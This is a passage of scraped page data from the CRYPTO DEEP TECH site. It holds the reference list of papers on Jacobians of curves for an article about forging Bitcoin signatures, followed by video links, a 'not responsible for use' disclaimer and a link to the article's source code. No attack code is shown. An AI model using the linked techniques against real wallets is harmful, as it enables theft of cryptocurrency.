Costello Yasar University, Izmir, Turkey\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/99ONeil.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eJacobians of Curves of Genus One\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;Harvard University Cambridge, Massachusetts April, 1999\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/AIF_0__0_0_A102_0.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eJacobian curve of singular foliations\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;Nuria Corral Article to be published, posted online on July 3, 2024.\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/alg03-0.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eAN ADDITION ALGORITHM ON THE JACOBIAN VARIETIES OF CURVES\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;(FOR APPLICATIONS TO PUBLIC KEY CRYPTOSYSTEM) S. ARITA, S. MIURA, AND T. SEKIGUCHI\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/art2.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eTHE JACOBIAN AND FORMAL GROUP OF A CURVE OF GENUS 2\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;OVER AN ARBITRARY GROUND FIELD E. V. Flynn, Mathematical Institute, University of Oxford\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/ASNSP_2013_5_12_3_735_0.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eOn the genus of curves in a Jacobian variety\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;VALERIA ORNELLA MARCUCCI Mathematics Subject Classification (2010)\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/bristol_lecture_1_to_4.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eLOCAL ARITHMETIC OF CURVES AND JACOBIANS\u0026nbsp;\u003c/a\u003e\u003c/strong\u003eP. Allen, F. Calegari, A. Caraiani, T. Gee, D. Helm, B. Le Hung, J. Newton, S. Scholze, R. Taylor, and J. Thorne, Potential automorphy\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/cjac.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eCompactified Jacobians of nodal curves\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;Lucia Caporaso Expanded notes for a minicourse given at the Istituto Sup\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/CM_1993__88_3_333_0.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eNote on curves in a jacobian\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;Compositio Mathematica, tome 88, no 3 (1993)\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/dipiazza.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eArithmetic on Jacobians of algebraic curves\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;Giulio Di Piazza Damien Robert\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/expo_montreal-curve-jacobian.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eFrom the curve to its Jacobian and back\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;Christophe Ritzenthaler Luminy Institute of Mathematics, CNRS Montreal\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/Generalized_Jacobians.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eGeneralized Jacobians I\u0026nbsp;\u003c/a\u003e\u003c/strong\u003eCaleb Ji Background from algebraic geometry\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/genus-2-part-1.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eHyperelliptic Curves and their Jacobians\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;Benjamin Smith Isogeny school, online, 2021 Inria + École polytechnique, France\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/Jacmar.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eJacobian curves for normal complex surfaces\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;Fran¸coise Michel Mathematics Subject Classification 2000\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/jacobian.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eTHE JACOBIAN OF A RIEMANN SURFACE\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;DONU ARAPURA Arapura, Riemann’s inequality and Riemann-Roch\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/Jacobian-1.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eA curve and its abstract Jacobian\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;Boris Zilber University of Oxford August 22, 2012\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/JacobianFinal.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eJacobians of Genus One Curves\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;Sang Yook An and Seog Young Kim The University of Arizona\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/jacobians_and_curvilinear_coodinates.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eJACOBIANS CURVILINEAR COORDINATES\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;Created by T. Madas\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/JCVasq.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eA GEOMETRIC APPROACH TO THE TWO-DIMENSIONAL JACOBIAN CONJECTURE\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;ALEXANDER BORISOV\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/JVs.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eJacobian Varieties\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;J.S. Milne June 12, 2021\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/Morgan-bristol_lecture_1.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eLOCAL ARITHMETIC OF CURVES AND JACOBIANS\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;School of Mathematics and Statistics, University of Glasgow, University Place, Glasgow\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/NotesOnJacobianVarieties.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eNotes on Jacobian varieties: a brief survey\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;Juliana Coelho (UFF) March 28, 2017\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/obs-v2-n1-p26-p.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eFast Jacobian arithmetic for hyperelliptic curves of genus 3\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;Andrew V. Sutherland\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/printversion.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eThe Jacobian of a Transformation\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;Proceedings of the Thirteenth Algorithmic Number Theory Symposium\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/program_jacobians.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eSEMINAR ON ALGEBRAIC GEOMETRY: “JACOBIANS OF CURVES”\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;Organizers: Peter Scholze, Johannes Anschutz\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/S0002-9947-98-02056-X.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eEQUATIONS FOR THE JACOBIAN OF A HYPERELLIPTIC CURVE\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;PAUL VAN WAMELEN\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/SUB153565.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eComparatively Study of ECC and Jacobian Elliptic Curve Cryptography\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;Anagha P. Zele , Avinash P. Wadhe\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/these.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eTHE RANK OF THE JACOBIAN OF MODULAR CURVES: ANALYTIC METHODS\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;BY EMMANUEL KOWALSKI\u003c/em\u003e\u003c/li\u003e\n\n\n\n\u003cli\u003e\u003cem\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeep.ru/doc/ThijsLimbeekMSc.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eSpace filling curves in their Jacobian\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;Author Thijs Limbeek Supervisors Prof. Dr. Ben Moonen Dr. Arne Smeets November 24, 2020\u003c/em\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://dzen.ru/embed/v-B2d-eezKhg?from_block=partner\u0026amp;from=zen\u0026amp;mute=0\u0026amp;autoplay=0\u0026amp;tv=0\"\u003ehttps://dzen.ru/embed/v-B2d-eezKhg?from_block=partner\u0026amp;from=zen\u0026amp;mute=0\u0026amp;autoplay=0\u0026amp;tv=0\u003c/a\u003e\u003c/p\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003ca href=\"https://dzen.ru/video/watch/66caadc6523ee35df3f58b89\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-36.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5824\"\u003e\u003c/a\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eThis material was created for the\u0026nbsp;\u0026nbsp;\u003ca href=\"https://cryptodeep.ru/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eCRYPTO DEEP TECH\u003c/a\u003e\u0026nbsp;portal \u0026nbsp;to ensure financial data security and cryptography on elliptic curves\u0026nbsp;\u0026nbsp;\u003ca href=\"https://www.youtube.com/@cryptodeeptech\" target=\"_blank\" rel=\"noreferrer noopener\"\u003esecp256k1 against weak\u0026nbsp;\u003c/a\u003e\u003ca href=\"https://github.com/demining/CryptoDeepTools\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eECDSA\u003c/a\u003e\u0026nbsp;\u0026nbsp;signatures\u0026nbsp;\u0026nbsp;\u0026nbsp;in the\u0026nbsp;\u0026nbsp;\u003ca href=\"https://t.me/cryptodeeptech\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eBITCOIN\u003c/a\u003e\u0026nbsp;cryptocurrency . The creators of the software are not responsible for the use of materials.\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://github.com/demining/CryptoDeepTools/tree/main/35JacobianCurve\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eSource code\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://t.me/cryptodeeptech\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eTelegram: https://t.me/cryptodeeptech\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://youtu.be/qf6u85wGwNw\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eVideo material: https://youtu.be/qf6u85wGwNw\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://dzen.ru/video/watch/66119078be267c07401d9e4c\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eVideo tutorial: https://dzen.ru/video/watch/66119078be267c07401d9e4c\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://cryptodeeptech.ru/jacobian-curve-algorithm-vulnerability\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eSource: https://cryptodeeptech.ru/jacobian-curve-algorithm-vulnerability\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/056-1024x576.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5763\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\t\u003c/div\u003e\u003c!-- .entry-content --\u003e\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdemining%2Fjacobian-curve-algorithm-vulnerability","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fdemining%2Fjacobian-curve-algorithm-vulnerability","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fdemining%2Fjacobian-curve-algorithm-vulnerability/lists"}